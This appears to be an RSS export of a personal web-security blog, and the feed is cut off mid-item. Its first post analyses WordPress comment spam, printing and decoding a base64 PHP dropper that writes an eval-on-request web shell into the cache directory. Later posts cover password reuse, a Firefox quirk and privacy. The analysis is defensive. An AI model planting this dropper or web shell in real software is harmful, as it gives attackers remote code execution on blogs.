<?xml version='1.0' encoding='utf-8' ?>

<rss version='2.0' xmlns:lj='http://www.livejournal.org/rss/lj/1.0/' xmlns:atom10='http://www.w3.org/2005/Atom'>
<channel>
  <title>terriko</title>
  <link>http://terriko.dreamwidth.org/</link>
  <description>terriko - Dreamwidth Studios</description>
  <lastBuildDate>Mon, 06 May 2013 20:01:12 GMT</lastBuildDate>
  <generator>LiveJournal / Dreamwidth Studios</generator>
  <lj:journal>terriko</lj:journal>
  <lj:journaltype>personal</lj:journaltype>
  <atom10:link rel='self' href='http://terriko.dreamwidth.org/data/rss' />
  <atom10:link rel='hub' href='http://pubsubhubbub.appspot.com/' />
  <image>
    <url>http://www.dreamwidth.org/userpic/164493/266577</url>
    <title>terriko</title>
    <link>http://terriko.dreamwidth.org/</link>
    <width>100</width>
    <height>100</height>
  </image>

<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/122187.html</guid>
  <pubDate>Mon, 06 May 2013 20:01:12 GMT</pubDate>
  <title>Falling down the rabbit hole: An analysis of some questionable blog spam</title>
  <link>http://terriko.dreamwidth.org/122187.html</link>
  <description>&lt;strong&gt;WARNING:  This entry contains some actual malicious code.  I&apos;ve HTML-escaped it so that it isn&apos;t going to get executed by you viewing it, but it was clearly intended to attack Wordpress blogs, so if you&apos;re going to mess around with analyzing, do it in a browser that&apos;s not logged in to any Wordpress blog.&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So I was clearing spam queues this morning, and came across a bunch of spam with this string in it:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;eval(base64_decode(‘aWYoJGY9Zm9wZW4oJ3dwLWNvbnRlbnQvY2FjaGUvaWZvb2FnLnBocCcsJ3cnKSl7ZnB1dHMoJGYsJzw/cGhwIC8qTiVQYCUqL2V2YWwvKklmXCcsLSovKC8qPjZgSGUqL2Jhc2U2NF9kZWNvZGUvKkBNKTIqLygvKn46SDUqL1wnTHlwM1kyQTdjQ292YVdZdktuY2hibHNxTHlndktsNXpXeUZVY25CUktpOXBjM05sZEM4cVVFZzBPWHhBS2k4b0x5cDRZR3BXS1U0cUx5UmZVa1ZSVlVWVFZDOHFjaUI0S2k5Ykx5b29mbEZ4S2k4bll5Y3ZLakUvUUdWMFd5b3ZMaThcJy8qT3pNNTIwKi8uLyo5SissKi9cJ3FQU3dwS2k4bmVpY3ZLblZVUVRrektpOHVMeXBEZTBjNlFEUmNLaThuYkNjdktqaDBJRzhxTHk0dkttMTVUVDA4UkdBcUx5ZDZKeThxZUdkbk1YWTJNU292TGk4cVZuQkpaelFxTHlkNUp5OHFaWHhxZVVFcUx5NHZLaXgyS0NvdkoyXCcvKnlBdCYqLy4vKkA1RHcmXU4qL1wnd25MeXBHTFZGdlREUXFMMTB2S21KaGEwMHBLaTh2S2x3N2MyNHFMeWt2S2s1M1Mwa25YeW92THlwUFgyc3FMeWt2S2toQVlVczBWQ292WlhaaGJDOHFNazU4TWpBK0tpOG9MeXBWYzBodFdWMWxXaW92YzNSeWFYQnpiR0Z6YUdWekxcJy8qWWFiayovLi8qT35xcyovXCd5bzhTR2N6S2k4b0x5cFZRVXRoWmlvdkpGOVNSVkZWUlZOVUx5cFdMa3RVSUhzcUwxc3ZLa3N0TG1NcUx5ZGpKeThxU0c5b0tpOHVMeXBZVGp0SEtpOG5laWN2S2pzbU15Z3lNV1FtWFNvdkxpOHFPMUJQZFNvdkoyd25MeXBaV1ZBelwnLyp7WUp9MSovLi8qdisoLTtrKi9cJ2VuVXFMeTR2S2xWc2FWVXRLaThuZW5sc0p5OHFSbFJaWERRcUwxMHZLazQvVW1JK0syWXFMeThxU3l0TFF5b3ZLUzhxYkVCcUtpOHZLbUpZUENvdktTOHFPbG8yVlVVb1NrSTRLaTh2S2tKWFp6dEFTeW92T3k4cVJUc3JkaWRKS2k4PVwnLyooa0NwQFk+Ki8pLypgYmMqLy8qSHZeISovKS8qV21GKi8vKlBfV2VgYD57Ki87LyotfGxURTEqLz8+Jyk7ZmNsb3NlKCRmKTt9′));&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Or this clearly related one (note that the top of the string is the same):&lt;br /&gt;&lt;code&gt;&lt;br /&gt;aWYoJGY9Zm9wZW4oJ3dwLWNvbnRlbnQvY2FjaGUvaWZvb2FnLnBocCcsJ3cnKSl7ZnB1dHMoJGYsJzw/cGhwIC8qcGshV1UqL2V2YWwvKnpDRnI4ejQqLygvKi1mJWYmZyovYmFzZTY0X2RlY29kZS8qY2hIIG0qLygvKnZXXnEqL1wnTHlvL05tcHlLaTlwWmk4cU9ENUpUM2NxTHlndktsdHZLU292YVhOelpYUXZLa2M2WTNRcUx5Z3ZLaUZQWERrcUx5UmZVa1ZSVlVWVFZDOHFjU3R5S1RGNklDb3ZXeThxV0RkblNDb3ZcJy8qd0VEJSovLi8qWnA2OnIqL1wnSjJNbkx5b2hSU0VxTHk0dktrZEVSU3RrS2k4bmVpY3ZLa2NyUUVZd09Db3ZMaThxUFU5RUxqQTZUaW92SjJ3bkx5cDhkRE14UkNvdkxpOHFLVFIwT2xoc2MyZ3FMeWQ2ZVd3bkx5cFRcJy8qQ01MRzEqLy4vKmlUeVUwflAqL1wnVFZBdFFTb3ZYUzhxSnpaUFR5MHFMeThxVFZOYlpDb3ZLUzhxWEU1TU1Tb3ZMeXB1SjFzcUx5a3ZLaVZ5Y0N4aEtpOWxkbUZzTHlwTkxseHBLaThvTHlwdFVtNDFJSGxTS2k5emRISnBcJy8qXXgyZCovLi8qIG5SKi9cJ2NITnNZWE5vWlhNdktrbytiRGhrS2k4b0x5bzFOa3hZVTB0Z1RTb3ZKRjlTUlZGVlJWTlVMeXBPWGt0YVF6d3FMMXN2S201TWNrWXpjeUFxTHlkakp5OHFiQ3RLY2lvdkxpOHFUUzFuXCcvKmhccGhpKi8uLypjVz4qL1wnS2k4bmVpY3ZLaUZGTmlvdkxpOHFVeWRLUVNvdkoyd25MeXB1S1ZWQUxpb3ZMaThxYkZoV1BEOW9aU292SjNvbkx5cFZJRk1xTHk0dktqRkFlME1zS2k4bmVTY3ZLajk4V3lvdkxpOHFcJy8qPE9rNXBmKi8uLyo0VlhFKi9cJ1VtODJVeW92SjJ3bkx5cFZURm9xTDEwdktpWjNOQ292THlvL0xXWjVLaThwTHlvL01URXFMeThxSjN4ZlFTb3ZLUzhxT2psSlRGSXFMeThxYjBNeFFTY3JKU292T3k4cWVWbzVUeW92XCcvKiAzXCcqLykvKlpsWyUqLy8qLVRPJUdiNiovKS8qUyw3bjRTLCovLypCQ1sqLzsvKkxacHM8blNaKi8/PicpO2ZjbG9zZSgkZik7fQ==&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;As you can tell from the first sample, it&apos;s base64 encoded... something.  b64 is pretty commonly used by attackers to obfuscate their code, so in case the spammy username and comment that went with the code wasn&apos;t enough to tell me that something bad was intended, the b64 encoding itself would have been a clue.  If I didn&apos;t have the pretty huge hint of the base64_decode line, I might have been able to figure it out from the format and the fact that I know that b64 uses = as a padding (visible at the end of the second string).&lt;br /&gt;&lt;br /&gt;Being a curious sort of person, I decoded the first string.  In my case, I just opened up Python, and did this:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&amp;gt;&amp;gt;&amp;gt; import base64&lt;br /&gt;&amp;gt;&amp;gt;&amp;gt; base64.b64decode(badstring1)&lt;br /&gt;&quot;if($f=fopen(&apos;wp-content/cache/ifooag.php&apos;,&apos;w&apos;)){fputs($f,&apos;&amp;lt;?php /*N%P`%*/eval/*If\\&apos;,-*/(/*&amp;gt;6`He*/base64_decode/*@M)2*/(/*~:H5*/\\&apos;Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8\\&apos;/*OzM520*/./*9J+,*/\\&apos;qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2\\&apos;/*yAt&amp;amp;*/./*@5Dw&amp;amp;]N*/\\&apos;wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzL\\&apos;/*Yabk*/./*O~qs*/\\&apos;yo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAz\\&apos;/*{YJ}1*/./*v+(-;k*/\\&apos;enUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=\\&apos;/*(kCp@Y&amp;gt;*/)/*`bc*//*Hv^!*/)/*WmF*//*P_We``&amp;gt;{*/;/*-|lTE1*/?&amp;gt;&apos;);fclose($f);}&quot;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;(Well, okay, I actually ran &lt;code&gt;cgi.escape(base64.b64decode(badstring1))&lt;/code&gt; to get the version you&apos;re seeing in this blog post since I wanted to make sure none of that was executed in your browser, but that&apos;s not relevant to the code analysis, just useful if you&apos;re talking about code on the internet)&lt;br /&gt;&lt;br /&gt;So that still looks pretty obfuscated, and even more full of base64 (yo, I heard you like base64 so I put some base64 in your base64).  But we&apos;ve learned a new thing: the code is trying to open up a file in the wordpress cache called ifooag.php, under wp-content which is a directory wordpress needs to have write access to.  I did a quick web search, and found a bunch of spam, so my bet is that they&apos;re opening a new file rather than modifying an existing one.  And we can tell that they&apos;re trying to put some php into that file because of the &amp;lt;?php and ?&amp;gt; which are character sequences that tell the server to run some php code.&lt;br /&gt;&lt;br /&gt;But that code?  Still looks pretty much like gobbledegook.&lt;br /&gt;&lt;br /&gt;If you know a bit about php, you&apos;ll know that it accepts c-style comments delineated by /* and */, so we can remove those from the php code to get something a bit easier to parse:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;eval(base64_decode(\\&apos;Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8\\&apos;.\\&apos;qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2\\&apos;.\\&apos;wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzL\\&apos;.\\&apos;yo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAz\\&apos;.\\&apos;enUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=\\&apos;));&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Feel like we&apos;re going in circles?  Yup, that&apos;s another base64 encoded string.  So let&apos;s take out the quotes and the concatenations to see what that is:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;Lyp3Y2A7cCovaWYvKnchblsqLygvKl5zWyFUcnBRKi9pc3NldC8qUEg0OXxAKi8oLyp4YGpWKU4qLyRfUkVRVUVTVC8qciB4Ki9bLyooflFxKi8nYycvKjE/QGV0WyovLi8qPSwpKi8neicvKnVUQTkzKi8uLypDe0c6QDRcKi8nbCcvKjh0IG8qLy4vKm15TT08RGAqLyd6Jy8qeGdnMXY2MSovLi8qVnBJZzQqLyd5Jy8qZXxqeUEqLy4vKix2KCovJ2wnLypGLVFvTDQqL10vKmJha00pKi8vKlw7c24qLykvKk53S0knXyovLypPX2sqLykvKkhAYUs0VCovZXZhbC8qMk58MjA+Ki8oLypVc0htWV1lWiovc3RyaXBzbGFzaGVzLyo8SGczKi8oLypVQUthZiovJF9SRVFVRVNULypWLktUIHsqL1svKkstLmMqLydjJy8qSG9oKi8uLypYTjtHKi8neicvKjsmMygyMWQmXSovLi8qO1BPdSovJ2wnLypZWVAzenUqLy4vKlVsaVUtKi8nenlsJy8qRlRZXDQqL10vKk4/UmI+K2YqLy8qSytLQyovKS8qbEBqKi8vKmJYPCovKS8qOlo2VUUoSkI4Ki8vKkJXZztASyovOy8qRTsrdidJKi8=&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;You might think we&apos;re getting close now, but here&apos;s what you get out of decoding that:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&amp;gt;&amp;gt;&amp;gt; base64.b64decode(badstring1a)&lt;br /&gt;&quot;/*wc`;p*/if/*w!n[*/(/*^s[!TrpQ*/isset/*PH49|@*/(/*x`jV)N*/$_REQUEST/*r x*/[/*(~Qq*/&apos;c&apos;/*1?@et[*/./*=,)*/&apos;z&apos;/*uTA93*/./*C{G:@4\\*/&apos;l&apos;/*8t o*/./*myM=&amp;lt;D`*/&apos;z&apos;/*xgg1v61*/./*VpIg4*/&apos;y&apos;/*e|jyA*/./*,v(*/&apos;l&apos;/*F-QoL4*/]/*bakM)*//*\\;sn*/)/*NwKI&apos;_*//*O_k*/)/*H@aK4T*/eval/*2N|20&amp;gt;*/(/*UsHmY]eZ*/stripslashes/*&amp;lt;Hg3*/(/*UAKaf*/$_REQUEST/*V.KT {*/[/*K-.c*/&apos;c&apos;/*Hoh*/./*XN;G*/&apos;z&apos;/*;&amp;amp;3(21d&amp;amp;]*/./*;POu*/&apos;l&apos;/*YYP3zu*/./*UliU-*/&apos;zyl&apos;/*FTY\\4*/]/*N?Rb&amp;gt;+f*//*K+KC*/)/*l@j*//*bX&amp;lt;*/)/*:Z6UE(JB8*//*BWg;@K*/;/*E;+v&apos;I*/&quot;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Yup, definitely going in circles.  But at least we know what to do: get rid of the comments again.&lt;br /&gt;&lt;br /&gt;Incidentally, I&apos;m just using a simple regular expression to do this: &lt;code&gt;s/\/\*[^*]*\*\///g&lt;/code&gt;.  That&apos;s not robust against all possible nestings or whatnot, but it&apos;s good enough for simple analysis.  I actually execute it in vim as &lt;code&gt;:%s/\/\*[^*]*\*\///gc&lt;/code&gt; and then check each piece as I&apos;m removing it.&lt;br /&gt;&lt;br /&gt;Here&apos;s what it looks like without the comments:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;if(isset($_REQUEST[&apos;c&apos;.&apos;z&apos;.&apos;l&apos;.&apos;z&apos;.&apos;y&apos;.&apos;l&apos;]))eval(stripslashes($_REQUEST[&apos;c&apos;.&apos;z&apos;.&apos;l&apos;.&apos;zyl&apos;]));&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;So let&apos;s stick together those concatenated strings again:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;if(isset($_REQUEST[&apos;czlzyl&apos;]))eval(stripslashes($_REQUEST[&apos;czlzyl&apos;]));&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Okay, so now it&apos;s added some piece into some sort of wordpress file that is basically just waiting for some outside entity to provide code which will then be executed. That&apos;s actually pretty interesting: it&apos;s not fully executing the malicious payload now; it&apos;s waiting for an outside request.  Is this to foil scanners that are wise to the type of things spammers add to blogs, or is this in preparation for a big attack that could be launched all at once once the machines are prepared?&lt;br /&gt;&lt;br /&gt;It&apos;s going to go to be a request that starts like this &lt;a href=&quot;http://EXAMPLE.COM/wp-content/cache/ifooag.php?czlzyl=&quot;&gt;http://EXAMPLE.COM/wp-content/cache/ifooag.php?czlzyl=&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Unfortunately, I don&apos;t have access to the logs for the particular site I saw this on, so my analysis stops here and I can&apos;t tell you exactly what it was going to try to execute, but I think it&apos;s pretty safe to say that it wouldn&apos;t have been good.  I &lt;em&gt;can&lt;/em&gt; tell you that there is no such file on the server in question and, indeed, the code doesn&apos;t seem to have been executed since it got caught in the spam queue and discarded by me.&lt;br /&gt;&lt;br /&gt;But if you&apos;ve ever had a site compromised and wondered how it might have been done, now you know a whole lot more about the way it could have happened.  All I can really suggest is that spam blocking is important (these comments were caught by akismet) and that if you can turn off javascript while you&apos;re moderating comments, that might be the safest possible thing to do even though it makes using wordpress a little more kludgy and annoying.  Thankfully it doesn&apos;t render it unusable!&lt;br /&gt;&lt;br /&gt;Meanwhile, want to try your own hand at analyzing code?  I only went through the full decoding for the first of the two strings I gave at the top of this post, but I imagine the second one is very similar to the first, so I leave it as an exercise to the reader.  Happy hacking!&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=122187&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/122187.html</comments>
  <category>web security</category>
  <category>geek</category>
  <category>bad behaviour</category>
  <category>web</category>
  <category>spam</category>
  <lj:security>public</lj:security>
  <lj:reply-count>0</lj:reply-count>
</item>
<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/103280.html</guid>
  <pubDate>Thu, 12 Jul 2012 20:52:26 GMT</pubDate>
  <title>Web Insecurity: Should you really change your re-used passwords after a breach? Maybe not.</title>
  <link>http://terriko.dreamwidth.org/103280.html</link>
  <description>&lt;em&gt;&lt;a href=&quot;http://webinsecurity.blogspot.com/2012/07/should-you-really-change-your-re-used.html&quot;&gt;Cross-posted&lt;/a&gt; from my &lt;a href=&quot;http://webinsecurity.net&quot;&gt;security blog, Web Insecurity&lt;/a&gt;&lt;/em&gt;.&lt;br /&gt;&lt;br /&gt;&lt;h3 class=&quot;post-title entry-title&quot;&gt;&lt;br /&gt;&lt;a href=&quot;http://webinsecurity.blogspot.com/2012/07/should-you-really-change-your-re-used.html&quot;&gt;Should you really change your re-used passwords after a breach? Maybe not.&lt;/a&gt;&lt;br /&gt;&lt;/h3&gt;&lt;br /&gt;&lt;div class=&quot;post-header-line-1&quot;&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;post-body entry-content&quot;&gt;&lt;br /&gt;&lt;a href=&quot;http://www.flickr.com/photos/mrzeon/5330056727/&quot; title=&quot;Dice by Daniel Dionne, on Flickr&quot;&gt;&lt;img align=&quot;right&quot; alt=&quot;Dice&quot; height=&quot;160&quot; src=&quot;https://farm6.staticflickr.com/5206/5330056727_a98c97c3c5_m.jpg&quot; style=&quot;padding: 10px;&quot; width=&quot;240&quot; /&gt;&lt;/a&gt;The news is reporting that &lt;a href=&quot;http://arstechnica.com/security/2012/07/yahoo-service-hacked/&quot;&gt;453,000 credentials were allegedly taken from Yahoo&lt;/a&gt;, and current reports say that it&apos;s probably Yahoo Voice that was compromised.  If you want to know if yours is in there, it seems like the hacker website is overwhelmed at the moment, but you can &lt;a href=&quot;http://dazzlepod.com/yahoo/&quot;&gt;search for your username/email&lt;/a&gt; here on a sanitized list that doesn&apos;t include the passwords.&lt;br /&gt;&lt;br /&gt;Probably unsurprisingly, the next bit of news is that people haven&apos;t changed their hacked passwords from previous breaches.  To whit, &lt;a href=&quot;http://www.troyhunt.com/2012/07/what-do-sony-and-yahoo-have-in-common.html&quot;&gt;59% of people were re-using the passwords that had previously been hacked and released to the public in the Sony breach&lt;/a&gt;.  Which seems a bit high given the publicity, but I&apos;m not as surprised as I maybe should be.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;What I&apos;d really like to know is how many of those people actually suffered from this password re-use.&lt;/b&gt;  Did anyone bother to try re-using their credentials?&lt;br /&gt;&lt;br /&gt;I&apos;m reminded of one of my favourite security papers, &quot;&lt;a href=&quot;http://research.microsoft.com/users/cormac/papers/2009/SoLongAndNoThanks.pdf&quot;&gt;So Long, and No Thanks for the Externalities: the Rational Rejection of Security Advice by Users&lt;/a&gt;,&quot; by Cormac Herley.  In it, he claims that many security &quot;best&quot; practices like changing passwords frequently are actually a waste of time for the average user, when you take into account the risks involved. &lt;br /&gt;&lt;br /&gt;So, is changing a password after a breach one of those things that we can skip without much incident?  Sadly, I don&apos;t have any definitive way to analyze how many folk were inconvenienced by their password reuse in the Sony and subsequent Yahoo breaches, but I can make a guess: If those accounts were compromised on Yahoo after the Sony breach, we&apos;d be seeing a lot more people changing their passwords between the two.  So probably at least those 59% were not inconvenienced enough to change their passwords subsequent to the breach. &amp;nbsp;That&apos;s a lot of people.&lt;br /&gt;&lt;br /&gt;Of course, it&apos;s possible that the accounts were breached and used in a way that the owner never noticed.  But if they&apos;re not noticing, are they really being inconvenienced?  Probably in a global sense (i.e. spam) but maybe not in a short-term decision-making sense. Of course, we could assume that the alleged hack is a hoax using many of the previously hacked passwords from Sony, but given how easy it is to compromise web apps I&apos;m currently assuming that the hack itself is a real thing. &amp;nbsp;In which case, that&apos;s a lot of no-change.  It looks suspiciously like you&apos;re likely to be more inconvenienced taking the time to change your password than you would if you did nothing, statistically speaking.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;So, should you change your password after a breach? It depends on how much you feel like rolling the dice.&lt;/b&gt;  Failing to change their breached passwords doesn&apos;t seem to have hurt that many of the Yahoo Voice denizens, but with numbers on re-used passwords hitting the news today, it&apos;s possible we&apos;ll see more people trying this avenue of attack in the future. &amp;nbsp;Still, rather than assuming those 59% are foolish for keeping the same credentials, it&apos;s worth considering that they might have just been savvy gamblers, this time.&lt;br /&gt;&lt;div style=&quot;clear: both;&quot;&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=103280&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/103280.html</comments>
  <category>webinsecurity</category>
  <category>authentication</category>
  <category>bad behaviour</category>
  <category>web</category>
  <category>social hacking</category>
  <category>geek</category>
  <category>passwords</category>
  <category>risk assessment</category>
  <lj:security>public</lj:security>
  <lj:reply-count>2</lj:reply-count>
</item>
<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/102245.html</guid>
  <pubDate>Mon, 25 Jun 2012 17:34:04 GMT</pubDate>
  <title>object object object... goose?</title>
  <link>http://terriko.dreamwidth.org/102245.html</link>
  <description>In the course of my thesis work, I made myself a little Firefox plugin that tells me where the javascript/dynamic parts are in a page.  It&apos;s a fun little thing, just puts some big coloured boxes up, and I used it to help understand how people were using javascript in practice.  It&apos;s one of those things I should probably release just &apos;cause it&apos;s fun, but I didn&apos;t have time to maintain in any meaningful way so I didn&apos;t get around to it.&lt;br /&gt;&lt;br /&gt;Anyhow, I pulled it out last week to see what state it&apos;s in because I want to adapt some ideas from it, and it wasn&apos;t working.  Which is odd, &apos;cause it&apos;s really quite simple.  The core is just a loop that goes through each page element and looks for stuff like onmousover events:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;var allTags = document.getElementsByTagName(&quot;*&quot;);&lt;br /&gt;for each (var tag in allTags) {&lt;br /&gt;  // ... do some stuff&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;And in debugging it, I&apos;ve learned that getElementsByTagName(&quot;*&quot;), which apparently used to return all the tags as objects, is now returning all the tags as well as, inexplicably, a number.  It&apos;s not the &lt;em&gt;same&lt;/em&gt; number for every page, and most of them seem to be around one thousandish on the simpler pages I was trying to test.  Which sort of makes me think that maybe it&apos;s returning the number of tags, or that it sometimes returns an ordinal index for a single tag instead of an object, but &lt;em&gt;why&lt;/em&gt;?  &lt;br /&gt;&lt;br /&gt;As it turns out, it didn&apos;t take much to get my add-on back up and running, just a quick check to see if the &quot;tag&quot; in question was in fact an object.  But I&apos;m left with a question: why has this changed in Firefox since I initially made the add-on?  I&apos;m not even sure where to ask, since it doesn&apos;t seem like it&apos;s a thing that changed in &lt;a href=&quot;http://www.w3.org/TR/DOM-Level-2-HTML/html&quot;&gt;the specs&lt;/a&gt;.  I&apos;m recording it here for posterity so I remember to try to look it up later, but if you happen to know what&apos;s going on, please get in touch!&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=102245&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/102245.html</comments>
  <category>web security</category>
  <category>geek</category>
  <category>tech</category>
  <category>web</category>
  <category>research</category>
  <lj:security>public</lj:security>
  <lj:reply-count>0</lj:reply-count>
</item>
<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/28950.html</guid>
  <pubDate>Sat, 08 May 2010 16:28:00 GMT</pubDate>
  <title>Web Insecurity: Why Facebook is like your psycho ex</title>
  <link>http://terriko.dreamwidth.org/28950.html</link>
  <description>Wrote a &lt;a href=&quot;http://webinsecurity.net&quot;&gt;Web Insecurity&lt;/a&gt; post last night: &lt;a href=&quot;http://webinsecurity.blogspot.com/2010/05/why-facebook-is-like-your-psycho-ex.html&quot;&gt;Why Facebook is like your psycho ex&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;But websites are about as trustworthy as the worst psycho ex: you never know when policies will change, the website will get bought out by someone who has different policies and now controls your data, or someone will exploit a security hole in the website. At least ex-friends aren&apos;t usually bought by megacorps who profit from selling all their mementos of your relationship. And probably, unlike websites, 64% of your friends don&apos;t have a security flaw. &lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Been a while since I wrote for that blog, but I&apos;m going back into research mode since paper writing season is over for me, and I&apos;m over my flu, so I&apos;m hoping I&apos;ll be able to write more.   But what really inspired me was an entertaining if spammy email from $security_company&apos;s social networking delegate claiming that I&apos;m a &quot;leading blogger&quot; within the web security industry.  Some &quot;leading blogger&quot; when I hadn&apos;t posted since February!&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=28950&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/28950.html</comments>
  <category>webinsecurity</category>
  <category>web security</category>
  <category>web</category>
  <category>privacy</category>
  <category>facebook</category>
  <lj:security>public</lj:security>
  <lj:reply-count>0</lj:reply-count>
</item>
<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/22397.html</guid>
  <pubDate>Wed, 17 Feb 2010 20:34:33 GMT</pubDate>
  <title>Web Insecurity: How Foursquare can help people steal your stuff. Want to buy some privacy insurance?</title>
  <link>http://terriko.dreamwidth.org/22397.html</link>
  <description>New post to &lt;a href=&quot;http://webinsecurity.net&quot;&gt;Web Insecurity&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;a href=&quot;http://webinsecurity.blogspot.com/2010/02/foursquare-for-thieves-and-privacy.html&quot;&gt;How Foursquare can help people steal your stuff. PS - Want to buy some privacy insurance?&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;I talk a bit about the totally awesome &lt;a href=&quot;http://pleaserobme.com/&quot;&gt;PleaseRobMe.com&lt;/a&gt; and meditate a little on what it would take for people to care about privacy in a way that would keep them safe.  Conclusion?  They never will, so if I really want to make money I should be selling privacy insurance.  If only I could figure out how to make that work...  Can&apos;t you just imagine a team of lawyers descending upon your mother to do damage control when your friends&apos; drunken antics get leaked through Facebook?&lt;br /&gt;&lt;br /&gt;&lt;img src=&quot;http://www.dreamwidth.org/tools/commentcount?user=terriko&amp;ditemid=22397&quot; width=&quot;30&quot; height=&quot;12&quot; alt=&quot;comment count unavailable&quot; style=&quot;vertical-align: middle;&quot;/&gt; comments</description>
  <comments>http://terriko.dreamwidth.org/22397.html</comments>
  <category>webinsecurity</category>
  <category>web security</category>
  <category>security</category>
  <category>web</category>
  <category>physical security</category>
  <category>privacy</category>
  <lj:security>public</lj:security>
  <lj:reply-count>0</lj:reply-count>
</item>
<item>
  <guid isPermaLink='true'>http://terriko.dreamwidth.org/21120.html</guid>
  <pubDate>Thu, 11 Feb 2010 04:44:16 GMT</pubDate>
  <title>Web Insecurity: Bank being sued for teaching customers bad security habits</title>
  <link>http://terriko.dreamwidth.org/21120.html</link>
